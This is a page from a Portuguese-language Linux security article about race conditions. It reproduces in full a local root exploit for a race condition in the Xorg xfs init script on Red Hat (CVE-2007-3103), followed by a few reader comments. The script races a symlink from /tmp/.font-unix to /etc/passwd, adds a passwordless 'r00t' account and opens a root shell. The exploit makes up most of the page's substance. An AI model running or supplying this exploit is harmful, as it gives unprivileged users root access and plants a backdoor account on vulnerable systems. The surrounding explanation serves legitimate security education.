Race Condition

Explicação do que é uma race condition e de que forma ela está vinculada à falha de DNS, recentemente descoberta por Dan Kaminsky.

[ Hits: 19.774 ]

Por: Luiz Vieira em 04/05/2009 | Blog: http://hackproofing.blogspot.com/


Exemplo de exploit para race condition no XFS



O exploit abaixo, explora uma vulnerabilidade de race condition no Xorg versão 1.0.2-3.1 e anteriores, da distribuição Linux Redhat.

A vulnerabilidade está na função start() do script /etc/init.d/xfs.
  • XFS é o "X Font Server", e é utilizado para criar fontes para o sistema X Window.
  • "init.d" refere-se ao script de inicialização e desligamento (shutdown) utilizado por sistemas de plataforma Linux.

No momento do boot ou desligamento da máquina, estes scripts são executados pelo init.d para iniciar e parar vários serviços do sistema.

Maiores informações sobre tal vulnerabilidade podem ser encontradas nesse link:
#!/bin/sh
# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
#
# $ id
# uid=1001(kecos) gid=1001(user) groups=1001(user)
# $ sh xfs-RaceCondition-root-exploit.sh
# [*] Generate large data file in /tmp/.font-unix
# [*] Wait for xfs service to be (re)started by root...
# [*] Hop, symlink created...
# [*] Launching root shell
# -sh-3.1# id
# uid=0(root) gid=0(root) groups=0(root)

# ...
# rm -rf $FONT_UNIX_DIR
# mkdir $FONT_UNIX_DIR
# chown root:root $FONT_UNIX_DIR
# chmod 1777 $FONT_UNIX_DIR
# ...


FontDir="/tmp/.font-unix"
Zero=/dev/zero
Size=900000

if [ ! -d $FontDir ]; then
   printf "Is xfs running ?\n"
   exit 1
fi

cd /tmp
cat > sym.c << EOF
#include <unistd.h>
int main(){
for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0)
{return 0;}}}
EOF

cc sym.c -o sym>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: Cant compile code"
   exit 1
fi

printf "[*] Generate large data file in $FontDir\n"
dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: cant create large file"
   exit 1
fi

printf "[*] Wait for xfs service to be (re)started by root...\n"
./sym
if [ $? != 0 ]; then
   printf "Error: code failed...\n"
   exit 1
fi

if [ -L /tmp/.font-unix ]; then
    printf "[*] Hop, symlink created...\n"
    printf "[*] Launching root shell\n"
    sleep 2
    rm -f /tmp/.font-unix
    echo "r00t::0:0::/:/bin/sh" >> /etc/passwd
fi
su - r00t

Fonte: milw0rm.com

Página anterior     Próxima página

Páginas do artigo
   1. Race Condition
   2. Exemplo de exploit para race condition no XFS
   3. Exemplo de exploit para DNS cache poisoning
Outros artigos deste autor

Resenha do livro: Praticando a Segurança da Informação

Vulnerabilidade em mais de 6 milhões de sites com flash

Segurança da Informação: Necessidades e mudanças de paradigma com o avanço da civilização

ARP Poisoning: compreenda os princípios e defenda-se

Metasploit Framework

Leitura recomendada

Criptografia em roteadores

Entendendo SQL Injection

Administrando Linux via web (parte 1)

wpa_supplicant.conf - Configuração para WPA2-PSK

Servidor para centralização de logs - Fedora 7

  
Comentários
[1] Comentário enviado por ygorth em 05/05/2009 - 09:55h

Estou gostando do nivel dos temas discutidos nos Artigos. Abraços!!!

[2] Comentário enviado por grandmaster em 05/05/2009 - 21:19h

Realmente, estão muito bons. Trazendo alguns aspectos de segurança para conhecimento da galera.


Renato de Castro Henriques
CobiT Foundation 4.1 Certified ID: 90391725
http://www.renato.henriques.nom.br

[3] Comentário enviado por AprendizPinguim em 12/05/2009 - 10:10h

Excelente artigo meu caro amigo!

Abraço!

[4] Comentário enviado por marcrock em 14/05/2009 - 03:51h

Realmente um artigo excelente !
Esse tema é muito interessante , gostaria de saber se essas condições de race tem relação direta com o modo como o núcleo dos So's gerenciam os atendimentos aos descritores de arquivos e sockets nos diversos subsistemas ( open(), select() , ppoll(), etc ... ), ou diz respeito apenas a implementação do protocolo DNS ou do BIND ???

Parabéns pelo artigo .

Até +.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts